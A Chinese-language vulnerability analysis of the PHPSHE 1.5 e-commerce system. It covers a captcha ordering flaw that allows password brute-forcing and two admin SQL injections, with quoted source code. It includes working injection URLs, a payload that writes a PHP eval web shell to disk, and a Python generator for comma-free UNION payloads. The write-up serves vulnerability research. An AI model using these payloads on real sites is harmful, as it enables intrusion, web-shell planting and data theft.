PHPSHE1.5漏洞分析

PHPSHE1.5后台存在大量SQL注入漏洞,以及一些其他漏洞,这次就找一些来进行分析

0x01 后台登陆逻辑漏洞

漏洞描述

后台登陆处无视验证码,可以进行爆破

漏洞利用

密码输入错误时跳转到登陆界面

密码输入正确跳转的链接

可以根据返回内容不同进行爆破找到密码

漏洞分析

代码位于/module/admin/do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_p_pesubmit)) {
$sql_set['admin_name'] = $_p_admin_name;
$sql_set['admin_pw'] = md5($_p_admin_pw);
if ($info = $db->pe_select('admin', pe_dbhold($sql_set))) {
strtolower($_s_authcode) != strtolower($_p_authcode) && pe_error('验证码错误...');
$db->pe_update('admin', array('admin_id'=>$info['admin_id']), array('admin_ltime'=>time()));
$_SESSION['admin_idtoken'] = md5($info['admin_id'].$pe['host_root']);
$_SESSION['admin_id'] = $info['admin_id'];
$_SESSION['admin_name'] = $info['admin_name'];
$_SESSION['pe_token'] = pe_token_set($_SESSION['admin_idtoken']);
pe_success('登录成功!', 'admin.php');
}
else {
pe_error('用户名或密码错误...');
}
}
$seo = pe_seo('管理员登录', '', '', 'admin');
include(pe_tpl('do_login.html'));

可以看到,这个登陆逻辑是先判断账号密码是否正确,之后再判断验证码是否正确

0x02 后台SQL注入

漏洞描述

在传递某些参数时未经过过滤,导致SQL注入

漏洞利用

0x01 admin.php?mod=user

1
http://localhost/phpshe1.5/admin.php?mod=user&name=%27%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%23

可以看到,注入成功,并且爆出了绝对路径

写入一句话

1
http://localhost/phpshe1.5/admin.php?mod=user&name=%27%20union%20select%20'<?php @eval($_POST[a])?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile "D:\\wamp64\\www\\phpshe1.5\\shell.php"%23

可以看到一句话已经写入

使用菜刀连接

0x02 admin.php?mod=user&act=email

1
http://localhost/phpshe1.5/admin.php?mod=user&act=email&id=1') union select * from ((select user())A join (select user())b join (select user())c join (select user())d join (select user())e join (select user())f join (select user())g join (select user())h join (select user())i join (select user())j join (select user())k join (select user())l join (select user())m join (select user())n join (select user())o join (select user())p join (select user())q join (select user())r )#

利用成功

除了payload不一样外其余操作与上一个漏洞基本一样

漏洞分析

0x01

代码位于/module/admin/user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$_g_name && $sqlwhere .= " and `user_name` like '%{$_g_name}%'";
$_g_phone && $sqlwhere .= " and `user_phone` like '%{$_g_phone}%'";
$_g_email && $sqlwhere .= " and `user_email` like '%{$_g_email}%'";
if (in_array($_g_orderby, array('ltime|desc', 'point|desc', 'ordernum|desc'))) {
$orderby = explode('|', $_g_orderby);
$sqlwhere .= " order by `user_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `user_id` desc";
}
$info_list = $db->pe_selectall('user', $sqlwhere, '*', array(20, $_g_page));

$tongji['user'] = $db->pe_num('user');
$tongji['useraddr'] = $db->pe_num('useraddr');
$tongji['userbank'] = $db->pe_num('userbank');
$seo = pe_seo($menutitle='会员列表', '', '', 'admin');
include(pe_tpl('user_list.html'));

$gname是定义在common.php文件中

1
2
3
4
5
6
7
8
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}

extract将GET与POST的参数加上_g_并成为变量,并未做防范sql注入的过滤

所以构造payload:

1
mod=user&name=%27%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%23

即可

0x02

代码同样位于/module/admin/user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
case 'email':
if (isset($_p_pesubmit)) {
pe_token_match();
!$_p_email_user && pe_error('收件人必须填写...');
!$_p_email_name && pe_error('邮件标题必须填写...');
!$_p_email_text && pe_error('邮件内容必须填写...');
$email_user = explode(',', $_p_email_user);
foreach ($email_user as $k=>$v) {
if (!$v) continue;
$noticelog_list[$k]['noticelog_user'] = pe_dbhold($v);
$noticelog_list[$k]['noticelog_name'] = pe_dbhold($_p_email_name);
$noticelog_list[$k]['noticelog_text'] = $_p_email_text;
$noticelog_list[$k]['noticelog_atime'] = time();
}
if ($db->pe_insert('noticelog', $noticelog_list)) {
pe_success('发送成功!', '', 'dialog');
}
else {
pe_error('发送失败...');
}
}
$info_list = $db->pe_selectall('user', array('user_id'=>explode(',', $_g_id)));
$email_user = array();
foreach ($info_list as $v) {
$v['user_email'] && $email_user[] = $v['user_email'];
}
$seo = pe_seo($menutitle='发送邮件', '', '', 'admin');
include(pe_tpl('user_email.html'));

其中

1
$info_list = $db->pe_selectall('user', array('user_id'=>explode(',', $_g_id)));

的$_g_id直接GET到后未进行过滤,不过有一个explode函数使得union select不太好使了,恰巧有个不用逗号的方法

1
union select * from ((select user())A join (select user())b join (select user())c)

附上一段构造payload的python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding=utf-8
#union select * from ((select 1)A join (select 2)B join (select 3)C);
#Max length 26
import string

dic = string.ascii_letters
def print_payload(col_length,content):
payload = "union select * from ((select {0})A ".format(content)
for i in range(col_length-1):
payload += "join (select {0}){1} ".format(content,dic[i+1])

payload += ")"
print(payload)

print_payload(18,"user()")

0x03 总结

果然爆破才是最强的